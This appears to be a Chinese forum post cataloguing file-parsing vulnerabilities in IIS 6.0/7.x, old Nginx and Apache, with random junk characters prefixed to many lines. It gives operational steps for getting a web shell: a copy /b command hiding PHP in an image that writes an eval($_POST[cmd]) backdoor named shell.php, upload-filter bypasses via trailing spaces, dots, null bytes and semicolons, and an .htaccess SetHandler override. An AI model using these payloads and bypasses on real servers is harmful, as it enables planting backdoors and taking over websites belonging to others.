常见服务器解析漏洞总结

admin

Author : laterain
- Z2 ^7 n% R2 Z; q2 [. W4 R6 p[+]IIS6.0

# X0 U) e! G+ X: N, ]$ i# R5 ~, n目录解析：/xx.asp/xx.jpg
& t, n, p9 A+ u4 W, c xx.jpg 可替换为任意文本文件(e.g. xx.txt)，文本内容为后门代码
IIS6.0 会将 xx.jpg 解析为 asp 文件。
% T, |* e, @! ^3 t) I1 d后缀解析：/xx.asp;.jpg     
  A# E& c# l9 p7 `* s0 f0 u8 s IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
! f5 X2 y# U* R/ j8 K默认解析：/xx.asa
/ @/ z4 g9 \8 ~; s* a' L# N( w) s         /xx.cer
0 ^# b( A- R/ A% w         /xx.cdx
IIS6.0 默认的可执行文件除了 asp 还包含这三种
% N2 m/ G; I, g5 F: G 此处可联系利用目录解析漏洞
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
7 p4 E* A1 O4 R6 w1 k+ _7 ^' n[+]IIS 7.0/IIS 7.5/Nginx <0.8.03

/ A" I; k# A7 [  K2 g IIS 7.0/IIS 7.5/Nginx <0.8.03
. F. W3 `( f. T" f: h/ ? 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
+ ]5 h3 ?7 i( u$ _8 c& @- M# t 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
, ^5 S9 K& {. P6 w4 t 常用利用方法：
将一张图和一个写入后门代码的文本文件合并将恶意文本
写入图片的二进制代码之后，避免破坏图片文件头和尾
* `1 P0 V; B' V1 M4 g* a 如：
- x" C9 m* V' W9 ]' K8 } copy xx.jpg /b + yy.txt/a xy.jpg
#########################################################
/ s- t, @. b) n; z6 v% P! D+ w /b 即二进制[binary]模式
/a 即ascii模式
3 O* G) c: Q$ w  ]5 }: d: s xx.jpg 正常图片文件
% u4 }* ?$ y! ~% H yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
" d$ X- r0 R, |% |8 W4 @, g '<?php eval($_POST[cmd])?>');?>
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
! C  z0 ?% E3 R5 c 为shell.php的文件
###########################################################
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址，在地址后加上 /xx.php
  A1 `( m+ i" e! h! Y% e8 ^ 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
6 `6 I3 }) l7 D$ k 密码 cmd
[+]Nginx <0.8.03
+ j) }. d4 p5 {" _2 r& I) ]- y
在Fast-CGI关闭的情况下，Nginx <0.8.03依然存在解析漏洞
在一个文件路径(/xx.jpg)后面加上%00.php
会将 /xx.jpg%00.php 解析为 php 文件。
[+]Apache<0.8.03

- m7 R! I( [  ^( @" U  c; q; R, [ 后缀解析：test.php.x1.x2.x3
5 h9 L8 E/ M$ R4 _* A; ? Apache将从右至左开始判断后缀，若x3非可识别后缀，
再判断x2，直到找到可识别后缀为止，然后将该可识别
后缀进解析test.php.x1.x2.x3 则会被解析为php
( ?  c2 I; l! M) R& [5 I 经验之谈：php|php3|phtml 多可被Apache解析。
6 y9 g3 u8 q8 U1 O6 P2 X5 G, Y[+]其他一些可利用的
( V9 m1 H# S. Z" I. }  h3 r: ^
在windows环境下，xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
若这样命名，windows会默认除去空格或点，这也是可以被利用的！
/ r5 x' j  b( P) M' a* ?在向一台windows主机上传数据时，你可以抓包修改文件名，在后面加个空格
5 ]5 {6 S8 [0 U或点，试图绕过黑名单，若上传成功，最后的点或空格都会被消除，这样就可
' Q9 d1 \5 f( Z# }% u得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
{Linux主机中不行，Linux允许这类文件存在}
如果在Apache中.htaccess可被执行（默认不执行，这是90sec里的一位朋友说
的，当初我并不知道），且可以被上传，那可以尝试在
9 G+ m, _* l0 d/ J$ N+ i' P.htaccess中写入:
! u1 G' o. i- }) d/ h. H2 ?6 u; d<FilesMatch “shell.jpg”>
& s7 S1 ]" Q. Z5 l3 [SetHandler application/x-httpd-php
</FilesMatch>
: M/ V; d: c2 P3 M3 Eshell.jpg换成你上传的文件，这样shell.jpg就可解析为php文件
[+]错误修改

在 IIS 6.0 下可解析 /xx.asp:.jpg
0 G# ^( x. ], t4 {, x% Q/ h, }{/xx.asp:.jpg 此类文件在Windows下不允许存在，:.jpg被自动除去
) E8 I0 o) h0 v3 k剩下/xx.asp}修改：
; W. Z- }( @/ G; j. X* ~先谢谢核攻击的提醒
当上传一个/xx.asp:.jpg文件时，的确:.jpg会消失，但是现在的/xx.asp
. I# ]  W' O, G0 G: x6 r) U0 B里是没有任何内容的，因为。。不好解释 大家自己看
http://lcx.cc/?i=2448
, l, J; v  [% d& t1 P0 u% i8 ahttp://baike.baidu.com/view/3619593.htm
​